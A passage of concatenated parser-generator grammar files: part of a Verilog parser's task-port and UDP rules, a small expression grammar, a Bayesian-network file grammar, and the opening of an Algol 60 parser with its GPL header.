@1.text, @1.first_line); $$ = tmp; } ; task_item_list : task_item_list task_item { svector<PWire*>*tmp = new svector<PWire*>(*$1, *$2); delete $1; delete $2; $$ = tmp; } | task_item { $$ = $1; } ; task_item_list_opt : task_item_list { $$ = $1; } | { $$ = 0; } ; task_port_decl : K_input reg_opt signed_opt range_opt IDENTIFIER { port_declaration_context.port_type = NetNet::PINPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = $3; delete port_declaration_context.range; port_declaration_context.range = copy_range($4); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_LOGIC, $3, $4, list_from_identifier($5), @1.text, @1.first_line); $$ = tmp; } | K_output reg_opt signed_opt range_opt IDENTIFIER { port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = $3; delete port_declaration_context.range; port_declaration_context.range = copy_range($4); svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_LOGIC, $3, $4, list_from_identifier($5), @1.text, @1.first_line); $$ = tmp; } | K_inout reg_opt signed_opt range_opt IDENTIFIER { port_declaration_context.port_type = NetNet::PINOUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = $3; delete port_declaration_context.range; port_declaration_context.range = copy_range($4); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_LOGIC, $3, $4, list_from_identifier($5), @1.text, @1.first_line); $$ = tmp; } /* Ports can be integer with a width of [31:0]. */ | K_input K_integer IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::PINPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = true; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_LOGIC, true, range_stub, list_from_identifier($3), @1.text, @1.first_line, true); $$ = tmp; } | K_output K_integer IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = true; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_LOGIC, true, range_stub, list_from_identifier($3), @1.text, @1.first_line, true); $$ = tmp; } | K_inout K_integer IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::PINOUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = true; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_LOGIC, true, range_stub, list_from_identifier($3), @1.text, @1.first_line, true); $$ = tmp; } /* Ports can be time with a width of [63:0] (unsigned). */ | K_input K_time IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::PINPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_LOGIC, false, range_stub, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } | K_output K_time IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_LOGIC, false, range_stub, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } | K_inout K_time IDENTIFIER { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; port_declaration_context.port_type = NetNet::PINOUT; port_declaration_context.var_type = IVL_VT_LOGIC; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = copy_range(range_stub); svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_LOGIC, false, range_stub, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } /* Ports can be real or realtime. */ | K_input real_or_realtime IDENTIFIER { port_declaration_context.port_type = NetNet::PINPUT; port_declaration_context.var_type = IVL_VT_REAL; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = 0; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINPUT, IVL_VT_REAL, false, 0, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } | K_output real_or_realtime IDENTIFIER { port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.var_type = IVL_VT_REAL; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = 0; svector<PWire*>*tmp = pform_make_task_ports(NetNet::POUTPUT, IVL_VT_REAL, false, 0, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } | K_inout real_or_realtime IDENTIFIER { port_declaration_context.port_type = NetNet::PINOUT; port_declaration_context.var_type = IVL_VT_REAL; port_declaration_context.sign_flag = false; delete port_declaration_context.range; port_declaration_context.range = 0; svector<PWire*>*tmp = pform_make_task_ports(NetNet::PINOUT, IVL_VT_REAL, false, 0, list_from_identifier($3), @1.text, @1.first_line); $$ = tmp; } ; task_port_decl_list : task_port_decl_list ',' task_port_decl { svector<PWire*>*tmp = new svector<PWire*>(*$1, *$3); delete $1; delete $3; $$ = tmp; } | task_port_decl { $$ = $1; } | task_port_decl_list ',' IDENTIFIER { svector<PWire*>*new_decl = pform_make_task_ports( port_declaration_context.port_type, port_declaration_context.var_type, port_declaration_context.sign_flag, copy_range(port_declaration_context.range), list_from_identifier($3), @3.text, @3.first_line); svector<PWire*>*tmp = new svector<PWire*>(*$1, *new_decl); delete $1; delete new_decl; $$ = tmp; } | task_port_decl_list ',' { yyerror(@2, "error: NULL port declarations are not " "allowed."); } | task_port_decl_list ';' { yyerror(@2, "error: ';' is an invalid port declaration " "separator."); } ; udp_body : K_table { lex_start_table(); } udp_entry_list K_endtable { lex_end_table(); $$ = $3; } ; udp_entry_list : udp_comb_entry_list | udp_sequ_entry_list ; udp_comb_entry : udp_input_list ':' udp_output_sym ';' { char*tmp = new char[strlen($1)+3]; strcpy(tmp, $1); char*tp = tmp+strlen(tmp); *tp++ = ':'; *tp++ = $3; *tp++ = 0; delete[]$1; $$ = tmp; } ; udp_comb_entry_list : udp_comb_entry { list<string>*tmp = new list<string>; tmp->push_back($1); delete[]$1; $$ = tmp; } | udp_comb_entry_list udp_comb_entry { list<string>*tmp = $1; tmp->push_back($2); delete[]$2; $$ = tmp; } ; udp_sequ_entry_list : udp_sequ_entry { list<string>*tmp = new list<string>; tmp->push_back($1); delete[]$1; $$ = tmp; } | udp_sequ_entry_list udp_sequ_entry { list<string>*tmp = $1; tmp->push_back($2); delete[]$2; $$ = tmp; } ; udp_sequ_entry : udp_input_list ':' udp_input_sym ':' udp_output_sym ';' { char*tmp = new char[strlen($1)+5]; strcpy(tmp, $1); char*tp = tmp+strlen(tmp); *tp++ = ':'; *tp++ = $3; *tp++ = ':'; *tp++ = $5; *tp++ = 0; $$ = tmp; } ; udp_initial : K_initial IDENTIFIER '=' number ';' { PExpr*etmp = new PENumber($4); PEIdent*itmp = new PEIdent(lex_strings.make($2)); PAssign*atmp = new PAssign(itmp, etmp); FILE_NAME(atmp, @2); delete[]$2; $$ = atmp; } ; udp_init_opt : udp_initial { $$ = $1; } | { $$ = 0; } ; udp_input_list : udp_input_sym { char*tmp = new char[2]; tmp[0] = $1; tmp[1] = 0; $$ = tmp; } | udp_input_list udp_input_sym { char*tmp = new char[strlen($1)+2]; strcpy(tmp, $1); char*tp = tmp+strlen(tmp); *tp++ = $2; *tp++ = 0; delete[]$1; $$ = tmp; } ; udp_input_sym : '0' { $$ = '0'; } | '1' { $$ = '1'; } | 'x' { $$ = 'x'; } | '?' { $$ = '?'; } | 'b' { $$ = 'b'; } | '*' { $$ = '*'; } | '%' { $$ = '%'; } | 'f' { $$ = 'f'; } | 'F' { $$ = 'F'; } | 'l' { $$ = 'l'; } | 'h' { $$ = 'H'; } | 'B' { $$ = 'B'; } | 'r' { $$ = 'r'; } | 'R' { $$ = 'R'; } | 'M' { $$ = 'M'; } | 'n' { $$ = 'n'; } | 'N' { $$ = 'N'; } | 'p' { $$ = 'p'; } | 'P' { $$ = 'P'; } | 'Q' { $$ = 'Q'; } | 'q' { $$ = 'q'; } | '_' { $$ = '_'; } | '+' { $$ = '+'; } ; udp_output_sym : '0' { $$ = '0'; } | '1' { $$ = '1'; } | 'x' { $$ = 'x'; } | '-' { $$ = '-'; } ; /* Port declarations create wires for the inputs and the output. The makes for these ports are scoped within the UDP, so there is no hierarchy involved. */ udp_port_decl : K_input sec_label list_of_identifiers ';' { $$ = pform_make_udp_input_ports($3); } | K_output sec_label IDENTIFIER ';' { perm_string pname = lex_strings.make($3); PWire*pp = new PWire(pname, NetNet::IMPLICIT, NetNet::POUTPUT, $2, IVL_VT_LOGIC); svector<PWire*>*tmp = new svector<PWire*>(1); (*tmp)[0] = pp; $$ = tmp; delete[]$3; } | K_reg sec_label IDENTIFIER ';' { perm_string pname = lex_strings.make($3); PWire*pp = new PWire(pname, NetNet::REG, NetNet::PIMPLICIT, $2, IVL_VT_LOGIC); svector<PWire*>*tmp = new svector<PWire*>(1); (*tmp)[0] = pp; $$ = tmp; delete[]$3; } | K_reg K_output sec_label IDENTIFIER ';' { perm_string pname = lex_strings.make($4); PWire*pp = new PWire(pname, NetNet::REG, NetNet::POUTPUT, $3, IVL_VT_LOGIC); svector<PWire*>*tmp = new svector<PWire*>(1); (*tmp)[0] = pp; $$ = tmp; delete[]$4; } ; udp_port_decls : udp_port_decl { $$ = $1; } | udp_port_decls udp_port_decl { svector<PWire*>*tmp = new svector<PWire*>(*$1, *$2); delete $1; delete $2; $$ = tmp; } ; udp_port_list : IDENTIFIER { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($1)); delete[]$1; $$ = tmp; } | udp_port_list ',' IDENTIFIER { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($3)); delete[]$3; $$ = tmp; } ; udp_reg_opt: K_reg { $$ = true; } | { $$ = false; }; udp_initial_expr_opt : '=' expression { $$ = $2; } | { $$ = 0; } ; udp_input_declaration_list : K_input IDENTIFIER { list<perm_string>*tmp = new list<perm_string>; tmp->push_back(lex_strings.make($2)); $$ = tmp; delete[]$2; } | udp_input_declaration_list ',' K_input IDENTIFIER { list<perm_string>*tmp = $1; tmp->push_back(lex_strings.make($4)); $$ = tmp; delete[]$4; } ; udp_primitive /* This is the syntax for primitives that uses the IEEE1364-1995 format. The ports are simply names in the port list, and the declarations are in the body. */ : K_primitive IDENTIFIER '(' udp_port_list ')' ';' udp_port_decls udp_init_opt udp_body K_endprimitive { perm_string tmp2 = lex_strings.make($2); pform_make_udp(tmp2, $4, $7, $9, $8, @2.text, @2.first_line); delete[]$2; } /* This is the syntax for IEEE1364-2001 format definitions. The port names and declarations are all in the parameter list. */ | K_primitive IDENTIFIER '(' K_output udp_reg_opt IDENTIFIER udp_initial_expr_opt ',' udp_input_declaration_list ')' ';' udp_body K_endprimitive { perm_string tmp2 = lex_strings.make($2); perm_string tmp6 = lex_strings.make($6); pform_make_udp(tmp2, $5, tmp6, $7, $9, $12, @2.text, @2.first_line); delete[]$2; delete[]$6; } ;
%token EOF ASR SHL PLUS MINUS MUL DIV MOD OR AND XOR NOT INV ASSIGN COMMA SEMICOLON LPAREN RPAREN VAR INT ID ERR %start program %% program : EOF | stat program ; stat : SEMICOLON | VAR ID SEMICOLON { op_var_decl } | ID ASSIGN exp SEMICOLON { op_assign } | PRINT exp SEMICOLON { op_print } ; exp : additive_exp shift_exp ; shift_exp : | SHL exp { op_shl } | ASR exp { op_asr } ; additive_exp : mult_exp additive_exp1 ; additive_exp1 : | PLUS additive_exp { op_add } | MINUS additive_exp { op_sub } | XOR additive_exp { op_xor } | OR additive_exp { op_or } ; mult_exp : unary_exp mult_exp1 ; mult_exp1 : | MUL mult_exp { op_mult } | DIV mult_exp { op_div } | MOD mult_exp { op_mod } | AND mult_exp { op_and } ; unary_exp : primary_exp | INV unary_exp { op_inv } | NOT unary_exp { op_not } | MINUS unary_exp { op_minus } ; primary_exp : LPAREN exp RPAREN | INT { op_push_int } | ID { op_push_id } ;
%{ #include "bnparse.h" // disable warning C4102: unreferenced label #pragma warning (disable : 4102) %} %token tokenEOF 0 %token tokenNil %token tokenError %token <zsr> tokenIdent tokenString %token <ui> tokenInteger %token <real> tokenReal /* key words */ %token tokenArray %token tokenContinuous %token tokenCreator %token tokenDefault %token tokenDiscrete %token tokenFormat %token tokenFunction %token tokenImport %token tokenIs %token tokenKeyword %token tokenLeak %token tokenNA %token tokenName %token tokenNamed %token tokenNetwork %token tokenNode %token tokenOf %token tokenParent %token tokenPosition %token tokenProbability %token tokenProperties %token tokenProperty %token tokenPropIdent %token tokenStandard %token tokenState %token tokenType %token tokenUser %token tokenVersion %token tokenWordChoice %token tokenWordReal %token tokenWordString %token tokenAs %token tokenLevel %token tokenDomain %token tokenDistribution %token tokenDecisionGraph %token tokenBranch %token tokenOn %token tokenLeaf %token tokenVertex %token tokenMultinoulli %token tokenMerge %token tokenWith %token tokenFor %token tokenRangeOp /* ".." */ %type <ui> proptype dpientry %type <integer> signedint %type <zsr> tokentoken tokenPropIdent proptypename tokenlistel %type <zsr> creator name format %type <real> real signedreal version %left '+' '-' %left '*' '/' %right '^' %left UNARY %start start %% start : { yyclearin; } bnfile ; bnfile : header blocklst ; blocklst : block | blocklst block ; block : propblock | nodeblock | probblock | domainblock | distblock | ignoreblock ; header : headerhead headerbody ; headerhead : tokenNetwork tokentoken { SetNetworkSymb($2); } | tokenNetwork ; headerbody : '{' { _eBlk = EBLKNET; } netdeclst '}' { _eBlk = EBLKNONE; } ; netdeclst : /* empty */ | netdeclst netdecl ; netdecl : format { SetFormat($1); } | version { SetVersion($1); } | creator { SetCreator($1); } ; conj : ':' /* general conjunction */ | '=' | tokenIs ; prep : tokenWith /* general preposition */ | tokenOn ; prepopt : prep /* optional preposition */ | /* empty */ ; /* header block productions */ format : tokenFormat conj tokenString ';' { $$ = $3; } ; version : tokenVersion conj real ';' { $$ = $3; } ; creator : tokenCreator conj tokenString ';' { $$ = $3; } ; /* unrecognized block productions */ ignoreblock : tokenIdent parenexpr_opt { _eBlk = EBLKIGN; WarningSkip($1); } '{' { SkipUntil("}"); } '}' { _eBlk = EBLKNONE; } ; parenexpr_opt : /* empty */ | '(' { SkipUntil(")"); } ')' ; /* node block productions */ nodeblock : tokenNode tokenIdent { _eBlk = EBLKNODE; StartNodeDecl($2); } '{' ndattrlst '}' { CheckNodeInfo(); _eBlk = EBLKNONE; } ; ndattrlst : /* empty */ | ndattrlst ndattr ';' ; ndattr : name | type | position | property | error ; name : tokenName conj tokenString { SetNodeFullName($3); } ; type : tokenType conj tokenDiscrete statedef ; statedef : tokenDomain tokentoken { SetNodeDomain($2); } | '[' tokenInteger ']' conj_opt { SetNodeCstate($2); } states_opt ; conj_opt : /* empty */ | conj ; states_opt : /* empty */ | '{' { ClearCstr(); } tokenlist '}' { SetStates(); } ; tokenlist : /* empty */ | tokenlistel | tokenlist ',' tokenlistel ; tokenlistel : tokentoken { AddStr($1); } ; tokentoken : tokenIdent | tokenString ; tokenList : '[' { ClearCstr(); } tokenlist ']' ; ; position : tokenPosition conj '(' signedint ',' signedint ')' { SetNodePosition($4, $6); } ; /* probability block productions */ probblock : tokenProbability { _eBlk = EBLKPROB; ClearNodeInfo(); } '(' tokenIdent { SetNodeSymb($4, false); } parentlst_opt ')' { CheckParentList(); } probblocktail { _eBlk = EBLKNONE; } ; /* tail of probability block: may be empty or may be a reference to a distribution */ probblocktail : probblkdistref ';' | ';' { EmptyProbEntries(); } | '{' funcattr_opt { InitProbEntries(); } probentrylst { CheckProbEntries(); } '}' ; parentlst_opt : /* empty */ | '|' parentlst | error ; parentlst : tokenIdent { AddSymb($1); } | parentlst ',' tokenIdent { AddSymb($3); } ; probblkdistref : conj tokenDistribution tokenIdent distplist_opt ; distplist_opt : /* empty */ | '(' distplist ')' ; distplist : tokenIdent | distplist ',' tokenIdent ; funcattr_opt : /* empty */ | tokenFunction conj tokenIdent ';' { CheckCIFunc($3); } ; probentrylst : /* empty */ | probentrylst probentry ; probentry : dpi doproblst ';' | dpi pdf ';' ; dpi : /* empty */ { _vui.clear(); CheckDPI(false); } | '(' dodpilst ')' conj { CheckDPI(false); } | tokenDefault conj { CheckDPI(true); } ; dodpilst : { _vui.clear(); } dpilst ; dpilst : /* empty */ | dpientry { AddUi($1); } | dpilst ',' dpientry { AddUi($3); } ; dpientry : tokenInteger { $$ = UiDpi($1); } | tokenIdent { $$ = UiDpi($1); } | tokenString { $$ = UiDpi($1); } ; doproblst : { _vreal.clear(); } reallst { CheckProbVector(); } ; pdf : tokenIdent '(' exprlst_opt ')' { CheckPDF($1); } ; exprlst_opt : /* empty */ | exprlst ; exprlst : expr | exprlst ',' expr ; reallst : signedreal { AddReal($1); } | reallst ',' signedreal { AddReal($3); } ; signedint : '-' tokenInteger { $$ = -INT($2); } | '+' tokenInteger { $$ = +INT($2); } | tokenInteger { $$ = INT($1); } ; signedreal : '-' real { $$ = -$2; } | '+' real { $$ = $2; } | real | tokenNA { $$ = -1; } ; real : tokenReal { $$ = $1; } | tokenInteger { $$ = REAL($1); } ; expr : '(' expr ')' | expr '+' expr | expr '-' expr | expr '*' expr | expr '/' expr | expr '^' expr | tokenIdent { CheckIdent($1); } | real | tokenString | '-' expr %prec UNARY | '+' expr %prec UNARY ; /* property declarations block productions */ propblock : tokenProperties '{' { StartProperties(); } propdecllst '}' { EndProperties(); } ; propdecllst : /* empty */ | propdecllst propitem ';' ; propitem : propimport | propdecl | property ; propimport : tokenImport tokenStandard { ImportPropStandard(); } | tokenImport proptypename { ImportProp($2); } ; propdecl : tokenType proptypename conj proptype ',' tokenString { AddPropType($2, $4, $6); } | tokenType proptypename conj proptype { AddPropType($2, $4, ZSREF()); } ; proptype : tokenArray tokenOf tokenWordString { $$ = fPropString | fPropArray; } | tokenArray tokenOf tokenWordReal { $$ = fPropArray; } | tokenWordString { $$ = fPropString; } | tokenWordReal { $$ = 0; } | tokenWordChoice tokenOf tokenList { $$ = fPropChoice; } ; /* A duplicate property type declaration will cause a tokenIdent to be read as a tokenPropIdent */ proptypename : tokenIdent /* ident not previously seen */ | tokenPropIdent /* error case */ ; /* property item productions */ property : tokenProperty tokenPropIdent conj { ClearVpv(); } propval { CheckProperty($2); } | tokenProperty tokenIdent conj propval /* error case */ | tokenPropIdent conj { ClearVpv(); } propval { CheckProperty($1); } ; propval : '[' propvallst ']' | propvalitem ; propvallst : propvalitem | propvallst ',' propvalitem ; propvalitem : tokenString { AddPropVar( $1 ); } | tokenIdent { AddPropVar( $1 ); } | signedreal { AddPropVar( $1 ); } ; /* domain declarations */ domainblock : tokenDomain { ClearDomain(); } tokentoken domainbody { CheckDomain( $3 ); } ; /* array of domain specifiers */ domainbody : '{' domaindeclst '}' ; domaindeclst : /* empty */ | domaindec | domaindeclst ',' domaindec ; /* range followed by symbolic name or just symbolic name */ domaindec : rangespec conj tokentoken { AddRange($3, false ); } | tokentoken { AddRange($1, true ); } ; /* Pascal-style range declaration */ /* variants of range specifiers for open and closed intervals */ /* identifiers are allowed for use with distributions where domains may be known in advance */ rangespec : real tokenRangeOp real /* 0.0 .. 1.0 */ { SetRanges( true, $1, true, $3 ); } | tokentoken tokenRangeOp tokentoken /* lname .. uname */ { SetRanges( $1, $3 ); } | tokenRangeOp real /* .. 1.0 */ { SetRanges( false, 0.0, true, $2 ); } | tokenRangeOp tokentoken /* .. uname */ { SetRanges( ZSREF(), $2 ); } | real tokenRangeOp /* 0.0 .. */ { SetRanges( true, $1, false, 0.0 ); } | tokentoken tokenRangeOp /* lname .. */ { SetRanges( $1, ZSREF() ); } | real /* 0.0 */ { SetRanges( true, $1, true, $1 ); } | tokentoken /* name */ { SetRanges( $1, $1 ); } ; /* List of range specifiers */ rangedeclst : '(' rangedeclset ')' ; rangedeclset : /* empty */ | rangespec | rangedeclset ',' rangespec ; /* Advanced distribution declarations */ /* Only "decision graph" for now */ distblock : tokenDistribution /* "distribution" */ tokenDecisionGraph /* "decisionGraph" */ distdeclproto /* pseudo-prototype parent list */ dgraphbody /* body of decision graph items */ ; distdeclproto : tokentoken /* name of distribution */ '(' distdeclst /* pseudo-parent list */ ')' ; distdeclst : /* empty */ | distdecl | distdeclst ',' distdecl ; distdecl : tokenIdent tokenAs tokentoken /* pseudo-parent and domain name*/ | tokenIdent /* pseudo-parent name only */ ; /* Decision graph/tree item declarations */ dgraphbody : '{' dgraphitemlst '}' ; dgraphitemlst : /* empty */ | dgraphitem | dgraphitemlst ',' dgraphitem ; /* decision graph/tree item. Vertices and leaves may have names for later merging. Branches and merges have contraint ranges, which are lists of Pascal-style ranges; e.g. ( 3..5, 9, 10, 20.. ) */ dgraphitem : /* vertex */ dgitemlevel tokenVertex tokentoken dgnamed | /* branch */ dgitemlevel tokenBranch prepopt rangedeclst | /* leaf */ dgitemlevel tokenLeaf dgitemleaf dgnamed | /* merge */ dgitemlevel tokenMerge prepopt tokentoken prepopt rangedeclst ; dgitemlevel : tokenLevel tokenInteger ; dgitemleaf : tokenMultinoulli '(' reallst ')' ; /* "named" sub-clause for verticies and leaves */ dgnamed : /* empty */ | tokenNamed tokentoken ; %%
<reponame>impedimentToProgress/UCI-BlueChip /* * Copyright (C) 1991,1992 <NAME> (<EMAIL>) * * This file is part of NASE A60. * * NASE A60 is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * NASE A60 is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with NASE A60; see the file COPYING. If not, write to the Free * Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * * a60-parse.y: aug '90 * * <NAME> (<EMAIL>) * * The main part of the Algol 60 parser module. * * The grammer contains one reduce/reduce conflict (got by the * error recovery). * * The unary '-' usage is still wrong. It's possible to write (and use) * a := 33 + - 7; * but that's not allowed in RRA60. * * The scanner should resolove real values like 1.44 '10' +7. But this * is still done by the parser. Not wrong, but not fine. */ %{ #include "comm.h" #include "a60.h" #include "util.h" #include "tree.h" #include "run.h" #include "bltin.h" /* number of errors found. */ int nerrors = 0; /* flag for unary minus parsed. */ int unary_minus = 0; /* force code for parser debugging to be included: */ #ifdef PARSEDEBUG #define YYDEBUG 1 #endif /*** in future: #ifdef YYBISON ***/ #ifndef YYBYACC #ifdef ALLOCA_MISSING /* * if no alloca() call is avail, provide yyoverflow to catch bison * stack-expanding. * its somewhat confusing: yyoverflow is expected to be defined, but * used with ifdef'd parameters, so it has to be a function. * [see below the grammer for a60_yyoverflow ()] */ /* to be defined: */ #define yyoverflow a60_yyoverflow /* forward: */ static void a60_yyoverflow (); #endif /* ALLOCA_MISSING */ #endif /* ! YYBISON */ %} %start a60program /* * owntype is a flat-used structure. not nice but it was to fizzly to * allocate and free space for em. */ %union { long itype; double rtype; char *str; TREE *tree; SYMTAB *sym; EXPR *expr; BOUND *bound; LHELM *lhelm; MINDEX *mindex; FORELM *forelm; FORSTMT *forstmt; OWNTYPE otype; ENUM type_tag typ; } /* never expected: TCOMMENT. */ %token TCOMMENT /* keywords: */ %token TTEN %token TBEGIN TEND %token TGOTO TFOR TDO TWHILE TSTEP TUNTIL TIF TTHEN TELSE TSWITCH %token TPROC TVALUE TCODE %token TTRUE TFALSE %token TINTEGER TREAL TBOOL TLABEL TOWN TARRAY TSTRING %token TPOW TDIV TASSIGN %token TLESS TNOTGREATER TEQUAL TNOTLESS TGREATER TNOTEQUAL %token TAND TOR TNOT TIMPL TEQUIV %token <itype> INUM %token <rtype> RNUM %token <str> NAME STRING %type <str> identifier label %type <itype> logical_val signed_inum %type <rtype> real_value %type <tree> program block unlab_block %type <tree> unlab_basic_stmt comp_stmt unlab_comp comp_tail %type <tree> dummy_stmt basic_stmt uncond_stmt %type <tree> stmt cond_stmt for_stmt goto_stmt assign_stmt %type <tree> if_stmt tlabel proc_stmt pd_proc_body %type <sym> decl type_decl array_decl switch_decl proc_decl type_list %type <sym> array_seg array_list %type <sym> pd_proc_head pd_proc_hhead pd_form_parmpart %type <sym> pd_form_parmlist pd_form_parm %type <sym> pd_val_part pd_spec_part pd_spec_idlist pd_ident_list %type <typ> type pd_spec pd_proc_type %type <otype> loc_or_own %type <expr> string arith_expr simple_expr mix_expr mix_prim %type <expr> subscr_expr relation bool_expr func_desig right_part %type <expr> design_expr simp_dexpr switch_des switch_list %type <expr> if_clause act_parmpart act_parmlist act_parm %type <bound> bound_pair bound_pair_list %type <lhelm> variable left_part left_part_list %type <mindex> subscr_list %type <forelm> for_lelm for_list %type <forstmt> for_clause %right TASSIGN %left TEQUIV %left TIMPL %left TOR %left TAND %left TLESS TNOTGREATER TEQUAL TNOTLESS TGREATER TNOTEQUAL %left '+' '-' %left '*' '/' TDIV %left TPOW %left UNARY %% a60program: /* empty */ { rtree = 0; yyerror ("no vaild input found"); } | { open_new_scope (); init_bltin (); } program { TREE *new = new_tree (t_block); new->runme = run_block; if (! current_scope) xabort ("cannot recover from this error"); new->u.block = current_scope->block; new->u.block->symtab = *current_scope->symtab; new->u.block->nact = set_actidx (*current_scope->symtab); new->u.block->stmt = $2; new->next = 0; rtree = new; } ; /* Logical values : */ logical_val : TTRUE { $$ = 1; } | TFALSE { $$ = 0; } ; /* Identifiers : */ identifier : NAME { $$ = cleanup_identifier ($1); } ; /* Strings */ string : STRING { EXPR *new = new_expr (e_string, ty_string); new->u.string = $1; $$ = new; } ; /* Variables : */ variable : identifier { LHELM *new = make_var_ref ($1, 1); $$ = new; } | identifier '[' subscr_list ']' { LHELM *new = make_var_ref ($1, 1); if (new) new->mindex = $3; $$ = new; } ; subscr_list : subscr_expr { MINDEX *new = new_mindex ($1); $$ = new; } | subscr_list ',' subscr_expr { MINDEX *new = new_mindex ($3); MINDEX **i; for (i = &($1); *i; i = &(*i)->next); *i = new; $$ = $1; } ; subscr_expr : arith_expr { $$ = $1; } ; /* function designators : */ /* * functions without arguments are recognized as variables. */ func_desig : identifier '(' act_parmlist ')' { EXPR *expr = new_expr (e_fcall, ty_unknown); LHELM *new = make_var_ref ($1, 0); if (new) { new->u.fcall = new_funcall (new->sym, $3); expr->u.lhelm = new; } $$ = expr; } ; /* arithmetik expressions : */ arith_expr : simple_expr { $$ = $1; } | if_clause simple_expr TELSE arith_expr { EXPR *new = new_expr (e_condexpr, ty_unknown); new->u.expr[0] = $1; new->u.expr[1] = $2; new->u.expr[2] = $4; $$ = new; } ; simple_expr : '+' mix_expr %prec UNARY { $$ = $2; } | mix_expr { $$ = $1; } ; mix_expr : mix_expr '*' mix_expr { $$ = new_xmix_expr ($1, e_op_times, $3); } | mix_expr '/' mix_expr { $$ = new_xmix_expr ($1, e_op_rdiv, $3); } | mix_expr '+' mix_expr { $$ = new_xmix_expr ($1, e_op_plus, $3); } | mix_expr '-' mix_expr { $$ = new_xmix_expr ($1, e_op_minus, $3); } | mix_expr TPOW mix_expr { $$ = new_xmix_expr ($1, e_op_pow, $3); } | mix_expr TDIV mix_expr { $$ = new_xmix_expr ($1, e_op_idiv, $3); } | mix_expr TEQUIV mix_expr { $$ = new_xmix_expr ($1, e_op_equiv, $3); } | mix_expr TIMPL mix_expr { $$ = new_xmix_expr ($1, e_op_impl, $3); } | mix_expr TOR mix_expr { $$ = new_xmix_expr ($1, e_op_or, $3); } | mix_expr TAND mix_expr { $$ = new_xmix_expr ($1, e_op_and, $3); } | TNOT mix_expr %prec UNARY { $$ = new_xmix_expr ($2, e_op_not, (EXPR *) 0); } | relation { if (unary_minus) unary_minus = 0, yyerror ("unary `-' invalid in relation"); $$ = $1; } | mix_prim { if (unary_minus) { unary_minus = 0; $$ = new_mix_expr ($1, e_op_neg, (EXPR *) 0); } else $$ = $1; } | '-' mix_prim %prec UNARY { $$ = new_mix_expr ($2, e_op_neg, (EXPR *) 0); } ; relation : mix_expr TLESS mix_expr { $$ = new_xmix_expr ($1, e_op_less, $3); } | mix_expr TNOTGREATER mix_expr { $$ = new_xmix_expr ($1, e_op_notgreater, $3); } | mix_expr 